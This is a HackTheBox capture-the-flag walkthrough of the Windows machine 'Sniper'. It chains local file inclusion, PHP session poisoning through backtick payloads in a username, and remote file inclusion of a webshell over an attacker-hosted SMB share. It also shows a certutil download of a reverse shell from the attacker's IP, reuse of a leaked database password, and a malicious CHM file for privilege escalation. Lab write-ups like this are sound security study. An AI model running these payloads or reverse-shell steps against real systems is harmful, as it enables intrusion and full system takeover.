Overview

Sniper is a medium HackTheBox Windows machine built around a delivery-tracking site with a lang parameter vulnerable to local file inclusion. That LFI alone can only read files, but including the site’s own PHPSESSID session file, after poisoning it with a backtick-wrapped PHP payload injected through the registration username, turns it into code execution. Blacklisted characters block a direct reverse shell, so the attack pivots to remote file inclusion through a self-hosted SMB share to plant a PHP webshell instead. Reused database credentials move laterally to a second user, and privilege escalation exploits a compiled Windows help file (.chm) left for an “administrator” to open.

Attack Chain

  • Scan the target and find HTTP, RPC, and SMB
  • Find a delivery-tracking site with a language-switching feature vulnerable to local file inclusion
  • Confirm LFI by reading win.ini through the lang parameter
  • Include the site’s own PHPSESSID session file to read its contents
  • Register a new account with a PHP backtick payload as the username, poisoning the session file
  • Include the poisoned session file again to trigger command execution
  • Use the code execution to enumerate the filesystem and dump registration.php’s source, revealing a strict character blacklist
  • Determine a direct reverse shell payload can’t survive the blacklist
  • Host a wwwolf-php-webshell payload on a self-hosted impacket-smbserver share
  • Trigger remote file inclusion through the lang parameter to load the webshell from the SMB share
  • Transfer and execute an rcat reverse shell payload with certutil
  • Catch a shell as nt authority\iusr
  • Find a db.php file with a reused password and confirm it belongs to chris with netexec
  • Build a PowerShell credential object to execute the reverse shell as chris
  • Read the user flag
  • Find a C:\Docs folder and a note explaining the “CEO” reviews documents placed there
  • Find a .chm help file in chris’s Downloads folder, hinting at the intended technique
  • Generate a malicious .chm file with nishang’s Out-CHM.ps1, embedding the reverse shell payload
  • Transfer it to C:\Docs and wait for it to be opened
  • Catch a shell as administrator and read the system flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.229.6; export NAME=SNIPER; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

80,135,139,445,49667

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding the LFI

Browsing to port 80 shows a home page for a delivery tracking service called Sniper.

Sniper delivery tracking home page

Clicking User Portal takes us to a login.

User Portal login

Clicking Our Services takes us to a blog.

Our Services blog

Clicking Language and selecting English, we immediately spot a potential local file inclusion vector.

Language selector hints at LFI

We test a basic Windows payload with curl.

curl "http://10.129.229.6/blog/?lang=\Windows\win.ini"

Scrolling to the bottom confirms local file inclusion.

LFI confirmed via win.ini

Investigating PHPSESSID

We get our current PHPSESSID and see if we can access its session file.

finding our current PHPSESSID

curl -X GET "http://10.129.229.6/blog/?lang=\Windows\temp\sess_gfmi3nrgtjko8lhej3nmv1deap"

We don’t see anything.

curl on the session file returns nothing

We go back to the login page, register a user, and see if we get a different PHPSESSID. We register with test@email.com, test, and Pass1234.

registering a test user

We log in and land on a User Portal Under Construction page.

logged in, User Portal Under Construction

We still have the same PHPSESSID.

same PHPSESSID as before

But running the curl LFI payload now, we can read the session file’s contents.

curl -X GET "http://10.129.229.6/blog/?lang=\Windows\temp\sess_gfmi3nrgtjko8lhej3nmv1deap"

reading the PHPSESSID session file content


Foothold

Injecting Code via the Session File

We try injecting PHP code into the PHPSESSID by registering a new user with the payload as the username:

<?php system('whoami'); ?>

Registration succeeds, but we can’t log in.

An alternative is using backticks, an alias for PHP’s exec() function, executing everything inside them:

<?=`powershell whoami`?>

We register with this payload as the username, keeping the same email and password. We’re able to log in this time, then re-run the curl command to check for code execution.

curl -X GET "http://10.129.229.6/blog/?lang=\Windows\temp\sess_gfmi3nrgtjko8lhej3nmv1deap"

We have code execution.

code execution confirmed via the session file

Dumping registration.php’s Source

We have code execution through the username field, but our tests show some characters are blacklisted. We try to dump the source of /user/registration.php.

attempting to read registration.php’s source

We start by listing the root directory, registering a user with:

<?=`powershell dir`?>

Running our curl command shows the current directory, C:\inetpub\wwwroot\blog.

listing the current directory

This means registration should be at C:\inetpub\wwwroot\users\registration.php. We verify, adapting our payload to php echo since we couldn’t get output from a plain powershell command:

a<?php echo `dir \\inetpub\\wwwroot\\user`?>b

We confirm the location of registration.php.

confirming registration.php’s location

We try to extract the file’s contents. Several payloads return only ab, meaning something is being filtered:

a<?php echo `type \\inetpub\\wwwroot\\user\\registration.php` ?>b
a<?php echo `type \\inetpub\\wwwroot\\user\\registration?php` ?>b
a<?php echo `type \\inetpub\\wwwroot\\user\\registration*php` ?>b

We go back to powershell, using echo with a wildcard asterisk instead of a period:

a<?php echo `powershell cat \\inetpub\\wwwroot\\user\\registration*php` ?>b

We extract the contents of registration.php, revealing all the blacklisted characters and the stripslashes function, which explains why double backslashes (\\) work.

registration.php reveals the character blacklist

Getting a Shell via RFI

We need a reverse shell payload that respects the blacklist. Our usual powershell -e [base64_reverse_shell] won’t work since the hyphen character is blacklisted.

We try several encoded PowerShell payloads that download but never save (see 0xdf’s writeup for details), without success. We switch approaches, moving from executing code via PHPSESSID to remote file inclusion through a hosted wwwolf-php-webshell on an SMB share.

We start our share.

impacket-smbserver -smb2support Share /home/mrbeetroot/Shares

We copy webshell.php into the share directory, then navigate to:

http://10.129.229.6/blog/?lang=\\10.10.14.17\Share\shell.php

We have a webshell.

webshell obtained via RFI over SMB

We transfer an rcat reverse shell with certutil.

certutil -urlcache -f http://10.10.14.17/rcat.exe C:\ProgramData\rcat_10.10.14.17_443.exe

transferring rcat with certutil

We start a nc listener with rlwrap -cAr and execute the payload:

C:\ProgramData\rcat_10.10.14.17_443.exe

We have a shell as nt authority\iusr.

shell as nt authority\\iusr


Lateral Movement

Reusing Database Credentials

We recall seeing a db.php file in \inetpub\wwwroot\user while enumerating registration.php.

db.php spotted during earlier enumeration

We view its contents and find a password.

db.php contains a password

We view all users on the system.

listing system users

We test the password against chris with netexec.

nxc smb $IP -u 'chris' -p '36mEAhz/B8xQ~2VM'

The credentials are verified.

netexec verifies chris’s credentials

Chris:36mEAhz/B8xQ~2VM

Shell as chris

Without WinRM or RDP open, we create a PowerShell credential object to execute our rcat payload.

$user = "Sniper\Chris"
$pass = "36mEAhz/B8xQ~2VM"
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

We confirm whoami executes as chris.

credential object confirmed working

We execute our rcat reverse shell payload.

Invoke-Command -ScriptBlock { c:\programdata\rcat_10.10.14.17_443.exe } -Credential $cred -Computer localhost

We catch a shell as chris.

shell as chris

We read the user flag.

user flag


Privilege Escalation

Finding the CHM Hint

We look around the system and find an unusual folder, C:\Docs.

C:\\Docs folder

We find note.txt inside.

note.txt found in Docs

The note explains the CEO expects documentation from chris in C:\Docs.

note referencing the CEO’s document review

In chris’s Downloads folder, we see instructions.chm.

instructions.chm in Downloads

A .chm file is a Windows compiled help file, compiled HTML used for help documentation.

Building a Malicious CHM File

We could craft a .chm that connects to our SMB share to capture a hash, or use one to execute our rcat reverse shell. We use nishang’s Out-CHM.ps1 script:

https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

On a Windows VM with HTML Help Workshop installed, we generate the .chm file with our rcat payload.

First, we import the script.

Import-Module .\Out-CHM.ps1

importing Out-CHM.ps1

We generate the payload.

Out-CHM -Payload "cmd /c C:\ProgramData\rcat_10.10.14.17_443.exe" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

generating the malicious CHM payload

We transfer the resulting doc.chm file to our share. We start a nc listener with rlwrap -cAr, then transfer doc.chm from the target to C:\Docs.

transferring doc.chm to C:\\Docs

The file gets opened by the “CEO,” and we catch a shell as administrator.

shell as administrator

We read the system flag.

system flag


Key Takeaways

Sniper packs several layered lessons into one chain. PHP session files are, by default, readable through the same web server that created them, so a local file inclusion vulnerability that reaches them turns any way of controlling session content, even just a username field, into code execution. A character blacklist rarely closes off an attack entirely; here it forced a pivot from a direct reverse shell to file inclusion over a self-hosted SMB share, but didn’t prevent code execution altogether. And the final privilege escalation is a reminder that client-side attacks remain effective even in a CTF context, a file placed where a privileged user is known to open it is often more reliable than any server-side exploit.